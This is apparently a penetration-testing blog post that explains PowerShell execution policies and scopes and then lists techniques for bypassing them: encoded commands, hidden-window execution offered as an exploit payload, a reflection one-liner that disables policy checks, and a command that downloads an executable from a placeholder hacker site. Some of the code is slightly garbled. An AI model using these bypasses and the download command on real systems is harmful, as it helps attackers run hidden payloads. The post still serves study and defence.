PowerShell Execution Policy

PowerShell "Security"

As with every new feature Microsoft comes out, PowerShell has its own security feature to stop everyone from running all kinds of scripts. Now, when I say security it doesn't mean anything. Its just another small hurdle (more like a tiny speed bump). Its called Execution Policy.

Execution Policies

Windows PowerShell execution policies allows one to control the conditions under which PowerShell loads and executes scripts. Execution policy can be set manually on the local Windows machine, or for a particular session. Domain administrators can use the Group Policy setting to set the execution policy for all the systems/users across the domain.

There are six different execution policies:

  1. Restricted
    • This is the default policy.
    • Only individual commands can be executed through the command line. Scripts cannot be executed through the command line.
  2. AllSigned
    • Allows scripts execution.
    • However, the scripts need to be signed by trusted publisher.
    • Prompts user, if scripts are run which are signed by untrusted publishers.
  3. RemoteSigned
    • Allows scripts execution.Scripts downloaded from Internet should be signed by trusted publisher.
    • However, signing is not required for local scripts. This is useful when an administrator wants to execute their custom script for administrative purposes.
  4. Unrestricted
    • This policy allows unsigned script execution.
    • However, it does prompt a warning before execution.
  5. Bypass
    • Nothing is blocked; no warnings or prompts. This is an open policy.
    • Best use case scenario is when PowerShell is used within a larger application.
  6. Undefined
    • No specific policy is set to current scope.
    • If nothing is specified, default policy is applied = Restricted.

However, Microsoft would like to remind us that Execution Policy is not a security system that you can rely on solely. It is possible to circumvent the set execution policy by the end user. Execution policies should be considered as basic rules set to prevent users from executing any arbitrary script.

Execution Policy Scope

Execution policies can be configured to be effective only in a particular scope. There are three different scopes we can set for execution policies:

  1. Process
    • The execution policy affects only the current session (the current Windows PowerShell process). The execution policy is stored in the $env:PSExecutionPolicyPreference environment variable and not in the registry, and it is deleted when the session is closed. You cannot change the policy by editing the variable value.
  2. CurrentUser
    • The execution policy affects only the current user. It is stored in the HKEYCURRENTUSER registry subkey.
  3. LocalMachine
    • The execution policy affects all users on the current computer. It is stored in the HKEYLOCALMACHINE registry subkey.

We set the scope for the current session by using the –Scope switch within the Set-ExecutionPolicy command.

Set-ExecutionPolicy Bypass –Scope Process

Bypassing Execution Policy

Now, that even Microsoft themselves has told us that setting Execution Policy is of no use, lets go through some of the techniques I found over the Internet.

Technique 1

Use the Set-ExecutionPolicy command to change the policy.

Set-ExecutionPolicy RemoteSigned –Scope CurrentUser

Here we also use the –Scope switch to ensure the change is reflected for current user only. However, we need admin privileges to execute this command as it requires make registry changes. [PS4PT]

Technique 2

From PowerShell's help file, Microsoft has given us a clue as to how to bypass the execution policy. This involves writing the whole script on the command line and executing it. For this, we will use PowerShell's –command option. This option takes a command within "" and executes it on the user's behalf.

Example:

powershell –command dir

This is a fairly safe command. But, what if we want to execute a larger script? Simply write the full script on the command line within speech marks (""). Ensure that all the curly braces ({}) are within the same line and each individual command is terminated using a semi-colon (;).

Example [PS4PT]:

powershell –command "New-Object System.Net.WebClient).DownloadFile("http://hackersite.com/pwnc.exe","c:pwnc.exe")"

What if your script is very heavy? Is there an easier way to carry out the above mentioned bypass technique? Try this:

powershell –command "Invoke-Expression (gc .malicious.ps1)"

Technique 3

The next technique is an inspiration I borrowed from Dave Kennedy (ReL1K) and Josh Kelly's (winfang) Defcon 18 talk, titled PowerShell OMFG. During this talk, they showed how we can use PowerShell's –EncodedCommand option to bypass execution policy and run the scripts.

The –EncodedCommand option takes a base64 encoded string of the command, decodes it and then executes it. Using this feature, we can run our malicious script in the following fashion.

$command = Get-Content .script.ps1 $encodedcmd = [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command)) powershell.exe –EncodedCommand $encodedcmd

$command = Get-Content .script.ps1

$encodedcmd = [convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($command))

powershell.exe –EncodedCommand $encodedcmd

Technique 4

Another technique borrowed from Dave Kennedy's and Josh Kelly's talk is how to provide a PowerShell command that will be bypass the execution policy and execute the script silently in the background.

powershell.exe –ExecutionPolicy Bypass –NoLogo –NonInteractive –NoProfile –WindowStyle Hidden -File .maliciousscript.ps1

This technique can be used if you have a different route into the target system. For example as a payload for an exploit, have a remote shell on to the target machine, etc.

Technique 5

A neat one-liner technique I found on this website by Oising is also worth a try. This code will basically hack into powershell.exe's internals at runtime and change the AuthorizationManager implementation (PSAuthorizationManager) with the policy ignoring version – null. To reset the change, just close that particular PowerShell window and it reverts back to its original state.

function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))

Some of the commands also appeared on this StackOverflow forum page.

Technique 6

A very simple and effective technique worth trying

Source StackOverflow

References

  1. PowerShell for penetration testers
  2. PowerShell OMFG by Dave Kennedy and Josh Kelly
  3. Bypassing Restricted Execution Policy in Code or In Script by Oising
  4. StackOverflow forum on bypassing execution policy

Useful PowerShell References

  1. PowerShell for Penetration testers.
  2. PowerShell OMFG.
  3. PowerShell Code Repository.
  4. Windows PowerShell Cookbook by Lee Holmes.
  5. Metasploit PowerShell modules from Metasploit (Rapid7).
    • www.metasploit.com
  6. Social Engineering Toolkit (TrustedSec).
  7. PowerSploit.
  8. PowerSyringe.
  9. Nishang.
  10. Shell is only the beginning by Carlos Perez.
  11. PowerShell Tutorial 8: Conditional Logic (if, else if, else, and switch).
  12. PowerShell Tutorial 2: PowerShell Commands – Cmdlet.
  13. A Task-Based Guide to Windows PowerShell Cmdlets.
  14. Hyperion runtime encrypter.
  15. Exploit Monday blog by Matthew Graeber.
  16. Social engineering Toolkit by Dave Kennedy.
  17. Metasploit MSFVenom.